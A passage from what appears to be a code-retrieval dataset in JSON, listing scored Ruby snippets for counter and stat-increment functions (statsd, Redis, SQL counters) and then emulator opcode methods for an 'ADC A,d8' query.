"score": "0.7341635",
"text": "def increment(stat, sample_rate=1); count stat, 1, sample_rate end",
"title": ""
},
{
"docid": "6907fe5db9264dfdba6bb083efc6ad09",
"score": "0.73069364",
"text": "def increment(stat, sample_rate=1)\n count stat, 1, sample_rate\n end",
"title": ""
},
{
"docid": "d2ada2eb20c26417be6b05be729185f4",
"score": "0.7299275",
"text": "def increment(stat, sample_rate=1)\n count stat, 1, sample_rate\n end",
"title": ""
},
{
"docid": "670aa8d89f8ca43d2d8c953b886e4116",
"score": "0.68417495",
"text": "def increment(stat, opts={})\n count stat, 1, opts\n end",
"title": ""
},
{
"docid": "ab8b22dbc9fbb7eb5aeffd21b2a1a1df",
"score": "0.6806654",
"text": "def increment(key, timestamp = Time.now)\n count(key, 1, timestamp)\n end",
"title": ""
},
{
"docid": "1e979f602d45aced83ad62d9480a0f62",
"score": "0.67996484",
"text": "def <<(stat)\n incr stat\n end",
"title": ""
},
{
"docid": "1e979f602d45aced83ad62d9480a0f62",
"score": "0.67996484",
"text": "def <<(stat)\n incr stat\n end",
"title": ""
},
{
"docid": "c2d3308e00296c3b0b22577681ab2b69",
"score": "0.67758226",
"text": "def increment_stat(stat_name)\n if stats[stat_name]\n stats[stat_name] += 1\n else\n stats.merge!({ stat_name => 1 })\n end\n save_stats\n end",
"title": ""
},
{
"docid": "e73d2b5e76b4622e255576094ef91164",
"score": "0.6694956",
"text": "def incr(stat, by = 1, **opts)\n data_store.increment_stat(stat, by, **opts)\n end",
"title": ""
},
{
"docid": "5861c82cb2c7d5a847e4cf66c29a4789",
"score": "0.6594597",
"text": "def increment(stats, sample_rate = 1)\n update_counter stats, 1, sample_rate\n end",
"title": ""
},
{
"docid": "5861c82cb2c7d5a847e4cf66c29a4789",
"score": "0.6594597",
"text": "def increment(stats, sample_rate = 1)\n update_counter stats, 1, sample_rate\n end",
"title": ""
},
{
"docid": "602a8c435909c4631676d75aec774f3d",
"score": "0.6559815",
"text": "def increment(stats, sample_rate=1)\n update_counters stats, 1, sample_rate\n end",
"title": ""
},
{
"docid": "13236478cfef574faee51fccacd0b51c",
"score": "0.65473163",
"text": "def incr(stat, by = 1)\n response = fraggle.get(\"/stat/#{stat}\")\n if response.value.empty? && response.rev == 0\n fraggle.set(\"/stat/#{stat}\", by.to_s)\n else\n fraggle.set(\"/stat/#{stat}\", (response.value.to_i + by).to_s, response.rev)\n end\n end",
"title": ""
},
{
"docid": "82b02e20415673efab795751f43347e5",
"score": "0.6544638",
"text": "def increment(metric)\n @_statsd.increment(metric)\n end",
"title": ""
},
{
"docid": "c6e979faa0707338bb0e1142570897d5",
"score": "0.6503325",
"text": "def increment(bin:, amount: 1)\n redis.zincrby(name, amount, bin)\n\n # Increment the total number of hits\n stored_bins = redis.incrby(hits_count_key, 1)\n\n if stored_bins == 1\n # Set the initial timestamp if never set\n redis.set(last_updated_at_key, Time.now.to_i)\n end\n end",
"title": ""
},
{
"docid": "b8a7556df40719d93614af9482ade125",
"score": "0.6487826",
"text": "def increment(stat, opts = EMPTY_OPTIONS)\n opts = { sample_rate: opts } if opts.is_a?(Numeric)\n incr_value = opts.fetch(:by, 1)\n count(stat, incr_value, opts)\n end",
"title": ""
},
{
"docid": "5950ddca3dcc97c412dc8b12f71f69dc",
"score": "0.64348584",
"text": "def bump(channel, bucket)\n if self.gather_stats\n yr = Date.today.year\n mo = Date.today.month\n stats_key = \"stats:#{channel}:#{bucket}:#{yr}:#{mo}\"\n # ap stats_key\n self.busredis.incr(stats_key)\n end\n end",
"title": ""
},
{
"docid": "20c3edc7a0e9e773cfdf836d5e5b9368",
"score": "0.6385188",
"text": "def incr\n event(1)\n end",
"title": ""
},
{
"docid": "3d12a36ee8f36a1586b6c011bac74e86",
"score": "0.63813686",
"text": "def increment\n total = Von.connection.hincrby(hash_key, 'total', 1)\n\n increment_periods\n\n total\n end",
"title": ""
},
{
"docid": "75a6c31c9999f1a62ed8c13005687a16",
"score": "0.63439715",
"text": "def increment(stats, sample_rate=1)\n self.update_stats(stats, 1, sample_rate)\n end",
"title": ""
},
{
"docid": "5cf51eceb38ce81637c1ff07ce715d2a",
"score": "0.63434666",
"text": "def increment_stat(key, now)\n # Increment global stats\n increment_expire_key(key)\n\n # Increment hourly stats\n increment_expire_key(key + \":#{now.hour}:#{now.min}:#{now.sec}\", 3660)\n\n # Increment daily stats\n increment_expire_key(key + \":#{now.hour}:#{now.min}\", 900000)\n end",
"title": ""
},
{
"docid": "75de43c5e33197181c99ca248ad1c86a",
"score": "0.63198125",
"text": "def increment(att, count = 1)\n time_now = self.class.time_now\n\n redis.queue(\"HINCRBY\", key[:counters], att, count)\n redis.queue(\"HSET\", key, \"updated_at\", time_now)\n\n self.updated_at = time_now\n redis.commit\n end",
"title": ""
},
{
"docid": "ba3ba1b981f30f9527a7450fd2a09c7e",
"score": "0.62225693",
"text": "def update( timestamp )\n @timestamp = timestamp\n @count += 1\n end",
"title": ""
},
{
"docid": "ff376f189902fc75c3b20a7468ce0fe9",
"score": "0.6199239",
"text": "def increment_one(type, field, time = Time.now)\n time = time.utc\n initial_values = COUNTERS.map do |c|\n field.to_sym == c ? 1 : 0\n end\n\n time_i = time.send(\"beginning_of_#{STATS_GAPS[type]}\").utc.to_i\n sql_query = \"INSERT INTO `#{@database.database_name}`.`stats_#{type}` (time, #{COUNTERS.join(', ')})\"\n sql_query << \" VALUES (#{time_i}, #{initial_values.join(', ')})\"\n sql_query << \" ON DUPLICATE KEY UPDATE #{field} = #{field} + 1\"\n @database.query(sql_query)\n end",
"title": ""
},
{
"docid": "3cf21dd2d629c4e1c029760714567877",
"score": "0.61485136",
"text": "def inc_stat(k,increment = 1)\n s = self.stat(k,false)\n unless s\n s = UserStat.new({\n :user => self,\n :name => k.to_s,\n :value => 0,\n })\n end\n s.value = s.value.to_i+increment.to_i\n s.save\n end",
"title": ""
},
{
"docid": "6f378f7374b1e9f5aefe670bd92c21a0",
"score": "0.61355996",
"text": "def mark\n @lock.synchronize do\n @value += 1\n # TODO(sissel): Keep some moving averages?\n end\n emit\n end",
"title": ""
},
{
"docid": "0129fb0f4a3b77b90949c2ea7c5ff2ea",
"score": "0.6100866",
"text": "def increment(type)\n time = Time.now.utc\n type = @database.escape(type.to_s)\n sql_query = \"INSERT INTO `#{@database.database_name}`.`live_stats` (type, minute, timestamp, count)\"\n sql_query << \" VALUES (#{type}, #{time.min}, #{time.to_f}, 1)\"\n sql_query << \" ON DUPLICATE KEY UPDATE count = if(timestamp < #{time.to_f - 1800}, 1, count + 1), timestamp = #{time.to_f}\"\n @database.query(sql_query)\n end",
"title": ""
},
{
"docid": "1f9bfe7865bc7e0b662dd64384d0160e",
"score": "0.6093957",
"text": "def incr(stat, time_unit, by = 1)\n timestamped_key = \"stat:#{timestamped_stat(stat, time_unit)}\"\n redis.incrby(timestamped_key, by)\n\n # expire will work correctly in >= 2.1.3\n # redis.expire(timestamped_key, EXPIRATIONS[time_unit.to_sym]) if EXPIRATIONS[time_unit.to_sym]\n\n timestamped_key\n end",
"title": ""
},
{
"docid": "a9c2c3bc428232bd79c5a88a063dfe5f",
"score": "0.6079656",
"text": "def increment_stat(action_type)\r\n s = stat(action_type)\r\n s.count += 1\r\n s.save\r\n end",
"title": ""
},
{
"docid": "ab6e7ee899006fa4e44a85dac25755c5",
"score": "0.6031487",
"text": "def increment(incr = 1)\n @count.update { |v| v + incr }\n end",
"title": ""
},
{
"docid": "ab6e7ee899006fa4e44a85dac25755c5",
"score": "0.6031487",
"text": "def increment(incr = 1)\n @count.update { |v| v + incr }\n end",
"title": ""
},
{
"docid": "df32dff57658ff3efa208978b1b6ad33",
"score": "0.6002972",
"text": "def increment\n enqueue_count_change 1\n end",
"title": ""
},
{
"docid": "6c5a30ee62ac1831c4dcd64b98bcde89",
"score": "0.5958637",
"text": "def incr(att, count = 1)\n unless counters.include?(att)\n raise ArgumentError, \"#{att.inspect} is not a counter.\"\n end\n\n write_local(att, key.hincrby(att, count))\n end",
"title": ""
},
{
"docid": "f4378570561fd1d4b4d79260a68e83ae",
"score": "0.5903066",
"text": "def increment_all(time, field)\n STATS_GAPS.keys.each do |type|\n increment_one(type, field, time)\n end\n end",
"title": ""
},
{
"docid": "6485133db7c32a7fd68bc3b2be97a844",
"score": "0.58766294",
"text": "def inc\n put(:count, \n fetch(:count, 0) + 1)\n end",
"title": ""
},
{
"docid": "9b4cfe05d71adf48c586bf6e864ee23e",
"score": "0.58708763",
"text": "def incr\n @lock.synchronize { @value += 1 }\n emit\n end",
"title": ""
},
{
"docid": "8ef2b4b2b230116669e8dd85e142842b",
"score": "0.5840811",
"text": "def increment(value=1)\n hincrby(hash_key, 'total', value).to_i\n end",
"title": ""
},
{
"docid": "44dd62e0156d1c8276d8b905b72e6008",
"score": "0.583384",
"text": "def increment!\n @mutex.synchronize { @value += 1 }\n end",
"title": ""
},
{
"docid": "8a6084fe07a7e9bdcc8fa9ea31a62368",
"score": "0.5826145",
"text": "def increment\n @value += 1\n end",
"title": ""
},
{
"docid": "34ee3b35daae4a683aaa86813ae3759e",
"score": "0.5815939",
"text": "def increment\n @mutex.synchronize do\n @counter += 1\n end\n end",
"title": ""
},
{
"docid": "f7382282f2eccab956acc148783dd3c5",
"score": "0.5814055",
"text": "def hit(timestamp)\n idx = timestamp % 300\n time, hits = @q[idx]\n\n @q[idx] = if time != timestamp\n [timestamp, 1]\n else\n [time, hits + 1]\n end\n end",
"title": ""
},
{
"docid": "fab3ca5d736b495d0bfef964aa39a756",
"score": "0.5796596",
"text": "def increment(value)\n @value[value] += 1\n @count += 1\n end",
"title": ""
},
{
"docid": "6777d1b7d2be997f3032da588992756d",
"score": "0.5788358",
"text": "def increment_times_accessed!\n self.update_attributes!({:times_accessed => self.times_accessed+1})\n end",
"title": ""
},
{
"docid": "6b9c2ef99ca9f684b806899af4dce02d",
"score": "0.57824415",
"text": "def incr(att)\n raise ArgumentError unless counters.include?(att)\n write_local(att, db.incr(key(att)))\n end",
"title": ""
},
{
"docid": "db4e85d255ba74485e95c1278a481f29",
"score": "0.5735014",
"text": "def incr_all(stat, by = 1)\n [:day, :hour, :minute].each do |time_unit|\n incr(stat, time_unit, by)\n end\n end",
"title": ""
},
{
"docid": "fb64c347557cc3cfcd26fc915f6e2cf8",
"score": "0.57221687",
"text": "def increment\n self.current += 1\n end",
"title": ""
},
{
"docid": "434e283fb59313ea887bad6d9f8330ed",
"score": "0.5716615",
"text": "def add_one_query\n per_minute_stats[current_time_bucket] += 1\n end",
"title": ""
},
{
"docid": "acc1b42ab700b85739c1f973367fff67",
"score": "0.5688748",
"text": "def increment\n self.current_frame.iteration += 1\n self.current_frame.time = self.starts_at + (self.current_frame.iteration * 1.send(self.time_units) * self.time_scale)\n end",
"title": ""
},
{
"docid": "d58ac5a5ddf1d3b2c4b37d102317f3ac",
"score": "0.5685973",
"text": "def increment_progress\n @progress += 1\n update_progress\n end",
"title": ""
},
{
"docid": "344cb82d8f6cc0e0f31d560c254745ee",
"score": "0.56847954",
"text": "def stat(name)\n Hurl.redis.incr(\"Hurl:stats:#{name}\")\n end",
"title": ""
},
{
"docid": "1b56b39ffc9e5c45670212367172c796",
"score": "0.5657726",
"text": "def zincrby(key, increment, member); end",
"title": ""
},
{
"docid": "1b56b39ffc9e5c45670212367172c796",
"score": "0.5657726",
"text": "def zincrby(key, increment, member); end",
"title": ""
},
{
"docid": "207077946377a0b0e76981bb8de8d7d4",
"score": "0.564746",
"text": "def tick\n @mutex.synchronize do\n new_stamp = Clock.stamp\n @prev_stamp = if new_stamp > @prev_stamp then\n new_stamp\n else\n @prev_stamp + 1\n end\n end\n end",
"title": ""
},
{
"docid": "8558daf45eff332e4a2dcb6f68d1bddf",
"score": "0.56272066",
"text": "def incr(att, count = 1)\n redis.call(\"HINCRBY\", key[:_counters], att, count)\n end",
"title": ""
},
{
"docid": "380c79d6891e897f9e4172dd189a9e9a",
"score": "0.5620726",
"text": "def increment(key,by=1)\n ensure_probe(Probe::Count, key).increment(by)\n end",
"title": ""
},
{
"docid": "8bc80a7ce72579e28dfd0e5608841dea",
"score": "0.5620389",
"text": "def incrbyfloat(key, increment); end",
"title": ""
},
{
"docid": "8bc80a7ce72579e28dfd0e5608841dea",
"score": "0.5620389",
"text": "def incrbyfloat(key, increment); end",
"title": ""
},
{
"docid": "d0d59c7ef3ab3e049918da6c31eb2bf8",
"score": "0.56160736",
"text": "def incrby(key, increment); end",
"title": ""
},
{
"docid": "d0d59c7ef3ab3e049918da6c31eb2bf8",
"score": "0.56160736",
"text": "def incrby(key, increment); end",
"title": ""
},
{
"docid": "b46705b0e6871c1c74e86ecafccc84b4",
"score": "0.56139815",
"text": "def increment(key)\n @counts[key] += 1\n end",
"title": ""
},
{
"docid": "383f79aafa5bca7cf79d414389708177",
"score": "0.5612222",
"text": "def increment(member, score)\n @driver_instance.increment_sorted_set(@key, member, score)\n end",
"title": ""
},
{
"docid": "6efdd42c65fa64f83bf5d2622e61586f",
"score": "0.561019",
"text": "def tick(datum = nil, tag: nil)\n tag = caller_locations(1,1).first.inspect if tag.nil?\n @@counters[tag] ||= 0\n @@counters[tag] += 1\n datum\n end",
"title": ""
},
{
"docid": "77213a8fbc789fb90e622ed7dde6f9e5",
"score": "0.5609072",
"text": "def increment # Add one to the count of whatever's being counted.\n @count += 1\n end",
"title": ""
},
{
"docid": "c40e3936d043b9852a0ae3837bd728ae",
"score": "0.56021434",
"text": "def hit(timestamp)\n index = timestamp % 300\n if @times[index] != timestamp\n @times[index] = timestamp\n @hits[index] = 1\n else\n @hits[index] += 1\n end\n end",
"title": ""
},
{
"docid": "4312e69db9a6151d2baa653965ccfde5",
"score": "0.55979425",
"text": "def increment_transaction_results(response, bucket1 = 'posts_and_puts')\n status = status_in(response)\n\n return unless final_status?(status)\n\n increment(bucket1, bucket_for(status))\n end",
"title": ""
},
{
"docid": "1df1d28d3763d17f5b7a0c3cd6fa1a4a",
"score": "0.5597549",
"text": "def increment(metric, value = 1, tags = [], sample_rate = 1)\n report(metric, 'c', value, tags, sample_rate)\n end",
"title": ""
},
{
"docid": "7b745306c9f296493694ebb2744d08a5",
"score": "0.55948734",
"text": "def decrement(stat, sample_rate=1); count stat, -1, sample_rate end",
"title": ""
},
{
"docid": "642f5f6ebdd37ecebf919d7bb837d0e7",
"score": "0.5593891",
"text": "def counter_increment(counter_name, block)\n val = counter(counter_name)\n AttributeEntry.new(counter_name, val).save_to(block.attributes)\n val\n end",
"title": ""
},
{
"docid": "ccd7bb77b5c769dc2232800ad0bfab17",
"score": "0.5575235",
"text": "def increment!\n yield(@current += 1)\n @current\n end",
"title": ""
},
{
"docid": "2988b9c3602ff97765aa621d7001b2df",
"score": "0.5566445",
"text": "def add_stat(stat, value)\n stat = stat.to_stat\n if [email protected](stat)\n @stats[stat] = 0\n end\n @stats[stat] += value\n return\n end",
"title": ""
},
{
"docid": "9cc27602f114197ef010a54bb3292fac",
"score": "0.5561309",
"text": "def _incr_internal(row, column, value = nil, args = {})\n value = 1 if value.is_a?(Hash)\n value ||= 1\n incr = org.apache.hadoop.hbase.client.Increment.new(row.to_s.to_java_bytes)\n family, qualifier = parse_column_name(column)\n if args.any?\n attributes = args[ATTRIBUTES]\n visibility = args[VISIBILITY]\n set_attributes(incr, attributes) if attributes\n set_cell_visibility(incr, visibility) if visibility\n ttl = args[TTL]\n set_op_ttl(incr, ttl) if ttl\n end\n incr.addColumn(family, qualifier, value)\n result = @table.increment(incr)\n return nil if result.isEmpty\n\n # Fetch cell value\n cell = result.listCells[0]\n org.apache.hadoop.hbase.util.Bytes.toLong(cell.getValueArray,\n cell.getValueOffset, cell.getValueLength)\n end",
"title": ""
},
{
"docid": "10b173b81807b177dcd5f74126966eb1",
"score": "0.5556354",
"text": "def increment\n @bar.increment!\n end",
"title": ""
},
{
"docid": "b7aeda7f6e6695d4cf159dbfa87794a4",
"score": "0.555496",
"text": "def increment\n @next_backup = @next_backup + @interval\n @current_backup += 1\n end",
"title": ""
},
{
"docid": "64788697b6aa9cc70193e27f4335ba8f",
"score": "0.55481917",
"text": "def incr(att, count = 1)\n redis.hincrby(key[:counters], att, count)\n end",
"title": ""
},
{
"docid": "1cf2352b87ce0c64c0ad04921a97f35b",
"score": "0.553783",
"text": "def display_count\n event_rate = 0\n\n @lock.synchronize do\n event_rate = @counter / 60.0\n @counter = 0\n end\n\n puts \"Processed #{event_rate} events per second for the last 60 seconds\"\nend",
"title": ""
},
{
"docid": "beb90acc46e4e8f45d40d5e643aef36b",
"score": "0.5535359",
"text": "def incr(log_file, time_str, metric, value)\n time_bucket = get_current_time_bucket(time_str)\n @last_timestamp_analyzed_by_log[log_file] = time_bucket\n @metrics[time_bucket] ||= Hash.new\n @metrics[time_bucket][metric] ||= {:type => :count, :value => 0}\n @metrics[time_bucket][metric][:value] += value\n end",
"title": ""
},
{
"docid": "567e8905420aee231bff3208ea8429ca",
"score": "0.55249226",
"text": "def increment(classification, epoch)\n key = 'rack-ratelimit/%s/%s/%i' % [@name, classification, epoch]\n\n # Try to increment the counter if it's present.\n if count = @cache.incr(key, 1)\n count.to_i\n\n # If not, add the counter and set expiry.\n elsif @cache.add(key, 1, @period, :raw => true)\n 1\n\n # If adding failed, someone else added it concurrently. Increment.\n else\n @cache.incr(key, 1).to_i\n end\n rescue Dalli::DalliError\n 0\n end",
"title": ""
},
{
"docid": "a0a3bce13ed98fae9d1c3dc6220140ae",
"score": "0.5520552",
"text": "def count(stat, count, sample_rate=1); send stat, count, COUNTER_TYPE, sample_rate end",
"title": ""
},
{
"docid": "9bbdb0294e586afdc6af32605cfeb71b",
"score": "0.5520092",
"text": "def increment\n @counter += 1\n end",
"title": ""
},
{
"docid": "55278d8c05e1fadf38bdf1216bf109ec",
"score": "0.5518347",
"text": "def increment!(key, &block)\n backend.incr(key, &block)\n end",
"title": ""
},
{
"docid": "de95423cce2b3a9aa9ee584b5c8a84bc",
"score": "0.5516966",
"text": "def new_value(old_value)\n val = Time.now.to_i\n if val == old_value\n val + 1\n else\n val\n end\n end",
"title": ""
},
{
"docid": "80b5d70b85e1149bda509cb8ffbb6719",
"score": "0.55134785",
"text": "def increment_completion incr=1\n @progress_lock.synchronize {\n @current += incr\n at(@current, @total, \"At #{@current} of #{@total}\")\n }\n end",
"title": ""
},
{
"docid": "3a1e482e5e994ea3c7b63a83a1dbb7ac",
"score": "0.55126506",
"text": "def bucket(hash_value)\n (hash_value.abs % 100) + 1\n end",
"title": ""
},
{
"docid": "6fc160702c08f3b0343ce776fad3f7e9",
"score": "0.55058485",
"text": "def store_and_update_all_counters(timestamp, key, value)\n @retentions.each_with_index do |t, index|\n if index.zero?\n @redis.zadd key, timestamp, \"#{timestamp}<X>#{value}\"\n else\n @redis.incrby \"#{key}:#{t}\", value\n @redis.expire \"#{key}:#{t}\", t.to_i * 2\n end\n end\n end",
"title": ""
},
{
"docid": "a9fa1692d1df7569d1ed7242d4ef1e58",
"score": "0.5502988",
"text": "def param_increment(stat)\n return 0 if @stat_increment[stat].nil?\n @stat_increment[stat]\n end",
"title": ""
},
{
"docid": "a9fa1692d1df7569d1ed7242d4ef1e58",
"score": "0.5502988",
"text": "def param_increment(stat)\n return 0 if @stat_increment[stat].nil?\n @stat_increment[stat]\n end",
"title": ""
},
{
"docid": "2c399263766357e421bcbc8889b3e379",
"score": "0.5500939",
"text": "def increment_time_stat(stat_name, type=\"minute\", duration=60)\n key = DateTime.now.strftime(\"%Y-%m-%d %H:%M\")\n if type == \"hour\"\n key = DateTime.now.strftime(\"%Y-%m-%d %H:00\")\n end\n minute_count = @redis.hget(stat_name, key).to_i\n if minute_count.nil?\n @redis.hset stat_name, key, 1\n else\n @redis.hset stat_name, key, minute_count + 1\n end\n #clear up older data\n @redis.hgetall(stat_name).keys.each do |key|\n if DateTime.parse(key) < DateTime.now-(duration/1440.0)\n puts \"Deleting #{stat_name} - #{key}\"\n @redis.hdel(stat_name, key)\n end\n end\n end",
"title": ""
},
{
"docid": "283d4b218cb5a2551680e0dbd835e06a",
"score": "0.5491975",
"text": "def count(stat, offset, sample_rate=1)\n send_stats stat, offset, :c, sample_rate\n end",
"title": ""
},
{
"docid": "2c7353fb26a70343cc3eb1f0fc0fb19e",
"score": "0.5484914",
"text": "def time_bucket\n time ? calculate_time_bucket(time) : 0\n end",
"title": ""
},
{
"docid": "413a95dedcdb57b007e795bbf593c2da",
"score": "0.54794663",
"text": "def increment(amount = 1)\n self.start_time ||= Time.now\n self.current = (self.current + amount < self.max ? self.current + amount : self.max)\n self.previous_time ||= Time.now\n calc_percent\n end",
"title": ""
},
{
"docid": "84586c8ee21f4a7bc09d39194f1c3764",
"score": "0.5475543",
"text": "def increment_progress\n update(progress: self.progress += 1.0 / 4)\n end",
"title": ""
},
{
"docid": "c7036cd231f62a6c4b2aea786228dcef",
"score": "0.5468388",
"text": "def time( event )\n sync {stats[event].mark}\n yield\n ensure\n sync {stats[event].tick}\n end",
"title": ""
},
{
"docid": "af6f513f48cb8ddaf26e8a7983547e47",
"score": "0.54669607",
"text": "def concurrent_increment!(attribute, by = 1)\n increment_by_query! query_as(:n), attribute, by\n end",
"title": ""
},
{
"docid": "2e87ded2091db46a6cd6252865c8730f",
"score": "0.5457975",
"text": "def increase_count\n self[:count] = self[:count] + 1\n end",
"title": ""
},
{
"docid": "d1651148c3ac39abb6ad9096b72c1859",
"score": "0.5456167",
"text": "def hincrbyfloat(key, field, increment); end",
"title": ""
},
{
"docid": "d1651148c3ac39abb6ad9096b72c1859",
"score": "0.5456167",
"text": "def hincrbyfloat(key, field, increment); end",
"title": ""
},
{
"docid": "b081245fb11b9a88c6267e037131e83f",
"score": "0.54530305",
"text": "def increment_count(value = 1)\n @lock.synchronize { @call_count += value }\n end",
"title": ""
},
{
"docid": "79572293845e59a377eed20b60d0060b",
"score": "0.54527235",
"text": "def tick( event )\n sync {stats[event].tick}\n end",
"title": ""
},
{
"docid": "394d17f6ee8a2e152fe52e4ff8aaca24",
"score": "0.54511017",
"text": "def increment(member, by=1)\n allow_expiration do\n zincrby(member, by)\n end\n end",
"title": ""
},
{
"docid": "c84e04d9b3803ff08db228745744cec7",
"score": "0.5450658",
"text": "def hincrby(key, field, increment); end",
"title": ""
}
] |
502c9760ece8aed6b38b85a567d68980
|
ADC A,d8 flags: Z 0 H C
|
[
{
"docid": "a3872874da12c5f876b70767046bca1d",
"score": "0.7966126",
"text": "def adc_a_d8\n end",
"title": ""
}
] |
[
{
"docid": "7b95da77d8f2974adda0e68533dad83c",
"score": "0.69899887",
"text": "def adc_a_c\n end",
"title": ""
},
{
"docid": "e4c90d9e3f26e98751595a73392e085f",
"score": "0.68363297",
"text": "def adc_a_hl\n end",
"title": ""
},
{
"docid": "891a52c3cd65a507a42113c500eec685",
"score": "0.6832551",
"text": "def adc_a_d\n end",
"title": ""
},
{
"docid": "e115fa85ce04b7ea56ef7c8cb9a23388",
"score": "0.67173356",
"text": "def adc_a_h\n end",
"title": ""
},
{
"docid": "87354c39fbefc30911c284b971eebd6d",
"score": "0.66841847",
"text": "def adc_a_a\n end",
"title": ""
},
{
"docid": "01c7ffc32d07e972341d9f85e5f4cb44",
"score": "0.6596069",
"text": "def adc_a_l\n end",
"title": ""
},
{
"docid": "8cda2eb72b782e1b184d13a8ce6fcaaa",
"score": "0.63985205",
"text": "def add_a_d8\n end",
"title": ""
},
{
"docid": "ea03df4bee8165221694fd0e0f206ac5",
"score": "0.6365018",
"text": "def ADC(address:)\n signed_a = signed_int(@accumulator)\n signed_m = signed_int(@ram[address])\n signed_sum = signed_a + signed_m\n (signed_sum > 127 || signed_sum < -128) ? set_flag(SR_OVERFLOW) : clear_flag(SR_OVERFLOW)\n\n sum = @accumulator + @ram[address] + (set?(SR_CARRY) ? 1 : 0)\n sum > 0xff ? set_flag(SR_CARRY) : clear_flag(SR_CARRY)\n @accumulator = sum & 0xff\n\n ZN_flags(@accumulator)\n end",
"title": ""
},
{
"docid": "47d1524661ec95e60b55c7b45f2401aa",
"score": "0.63096577",
"text": "def adc_a_e\n end",
"title": ""
},
{
"docid": "f8b47c1cd44352501857c1a41056da7e",
"score": "0.62617195",
"text": "def _anc\n @_p_nz = @_a &= @data\n @_p_c = @_p_nz >> 7\n end",
"title": ""
},
{
"docid": "6b84e404c9f9669cfcd1e02e8292cd13",
"score": "0.62535244",
"text": "def adc_a_b\n end",
"title": ""
},
{
"docid": "4e62a3facef89c2c302e92a675d86c41",
"score": "0.60754085",
"text": "def adc(reg_id)\n reg_a.cell_add!(reg(reg_id)) #.cell_add!(flag_c)\n end",
"title": ""
},
{
"docid": "768e06f7eef55045534452c2e98ccb67",
"score": "0.602885",
"text": "def cp_d8\n end",
"title": ""
},
{
"docid": "b2c5bc083f157d02c38e1f71e30db175",
"score": "0.59484696",
"text": "def handleADCStatus(n,c,v)\n printf(\"%d ADC%d %d\\n\", timestamp, c, v)\n end",
"title": ""
},
{
"docid": "293351da35f729b91c1a8e18fddc1b23",
"score": "0.5933978",
"text": "def ldi_a_mhl\n @a = @mmu[hl]\n self.hl = (hl + 1) & 0xFFFF\n @clock += 2\n end",
"title": ""
},
{
"docid": "3d9c3cc6382f34aed63078893f1ef444",
"score": "0.5890155",
"text": "def sbc_a_d8\n end",
"title": ""
},
{
"docid": "857f1253790cac3be4397e83dc24c693",
"score": "0.588783",
"text": "def and_d8\n end",
"title": ""
},
{
"docid": "ba8c054e22185df43f842f11ba8a1450",
"score": "0.580249",
"text": "def add_to_a(to_add)\n sum = @a + to_add\n @f = 0x00\n @f |= Z_FLAG if sum & 0xFF == 0x00\n @f |= H_FLAG if (@a & 0x0F) + (to_add & 0x0F) > 0x0F\n @f |= C_FLAG if sum > 0xFF\n @a = sum & 0xFF\n end",
"title": ""
},
{
"docid": "81fb67bad7304ca63d2cb05e84df8e1e",
"score": "0.5736478",
"text": "def ldd_a_mhl\n @a = @mmu[hl]\n self.hl = (hl - 1) & 0xFFFF\n @clock += 2\n end",
"title": ""
},
{
"docid": "f5b2a6f1204884f087cbeb257eb7064d",
"score": "0.5670967",
"text": "def ldi_mhl_a\n @mmu[hl] = @a\n self.hl = (hl + 1) & 0xFFFF\n @clock += 2\n end",
"title": ""
},
{
"docid": "1a0a1e215ca9f42c8fea1930fe732624",
"score": "0.5554062",
"text": "def parseADCStatus(bytes)\n return 0 if bytes.size < 6\n (id, nodeid, adcchannel, adcvalue) = bytes.unpack('CCCn')\n @client.handleADCStatus(nodeid, adcchannel, adcvalue)\n return 6\n end",
"title": ""
},
{
"docid": "00a601c7d403f3b00fde7d311c468db4",
"score": "0.55265117",
"text": "def ldd_mhl_a\n @mmu[hl] = @a\n self.hl = (hl - 1) & 0xFFFF\n @clock += 2\n end",
"title": ""
},
{
"docid": "451e06e8c73b9cbf4e541b713fa5283a",
"score": "0.5505681",
"text": "def calibration\n @cal_AC1, @cal_AC2, @cal_AC3, @cal_AC4, @cal_AC5, @cal_AC6, @cal_B1, @cal_B2,\n @cal_MB, @cal_MC, @cal_MD = i2cget(BMP085_CAL_AC1, 22).unpack('s>s>s>S>S>S>s>s>s>s>s>')\n end",
"title": ""
},
{
"docid": "f31fe3e440e166e183e6b64ab38f15dc",
"score": "0.5496835",
"text": "def flags_pack\n # NVssDIZC\n ((@_p_nz | @_p_nz >> 1) & 0x80) | # N: Negative\n (@_p_nz & 0xff != 0 ? 0 : 2) | # Z: Zero\n @_p_c | # C: Carry\n (@_p_v != 0 ? 0x40 : 0) | # V: Overflow\n @_p_i | # I: Inerrupt\n @_p_d | # D: Decimal\n 0x20\n end",
"title": ""
},
{
"docid": "f4aab2e0b10cdc130a145ff5c34fd53c",
"score": "0.54832727",
"text": "def sbc_a_hl\n end",
"title": ""
},
{
"docid": "2a5b3ad68c91a42375817cea09ff0743",
"score": "0.5436438",
"text": "def execute_ADC(destination, source)\n\t\tset_auxiliary_carry_flag_from destination.value.lowest_4_bits + source.value.lowest_4_bits + @flags.value[CARRY_FLAG]\n\t\tperform_arithmetic_operation_storing_result(source, destination, destination.value + source.value + @flags.value[CARRY_FLAG])\n\tend",
"title": ""
},
{
"docid": "4d8b4f016b90d488d2969ec326b3fc6f",
"score": "0.5413137",
"text": "def sub_to_a(to_sub)\n sub = @a - to_sub\n @f = 0x00\n @f |= Z_FLAG if sub & 0xFF == 0x00\n @f |= N_FLAG\n @f |= H_FLAG if ((@a & 0x0F) - (to_sub & 0x0F)) & 0xFFF0 != 0x00\n @f |= C_FLAG if sub & 0xFF00 != 0x00\n @a = sub & 0xFF\n end",
"title": ""
},
{
"docid": "284d541ef1b70fac2384492e0f35dc02",
"score": "0.53923523",
"text": "def handleADCStatus(n,c,v)\n if c == 0\n addECGSample(v)\n elsif c == 1\n @batteryVoltage = scaleBatteryVoltage(v)\n else\n raise \"unknown ADC channel #{c}\"\n end\n end",
"title": ""
},
{
"docid": "374aeabaeb2edef4b5ca27b6e5662e3f",
"score": "0.5388049",
"text": "def data\n # read ADC data\n data_reg = 0xF7\n data = read(data_reg, 8)\n adc_T = (data[3] << 12) | (data[4] << 4) | (data[5] >> 4)\n adc_P = (data[0] << 12) | (data[1] << 4) | (data[2] >> 4)\n adc_H = (data[6] << 8) | data[7]\n\n # Apply compensation to received ADC data and return as hash\n {\n t: trim_t(adc_T),\n p: trim_p(adc_P).round(2),\n h: trim_h(adc_H).round(2) \n }\n end",
"title": ""
},
{
"docid": "a09bb6b78caa57b89338785921b506a0",
"score": "0.53760463",
"text": "def and_to_a(to_and)\n @a &= to_and\n @f = 0x00\n @f |= H_FLAG\n @f |= Z_FLAG if @a == 0x00\n end",
"title": ""
},
{
"docid": "2ef6ff3f0a1fb03d17d570e2d6e86b4d",
"score": "0.5368929",
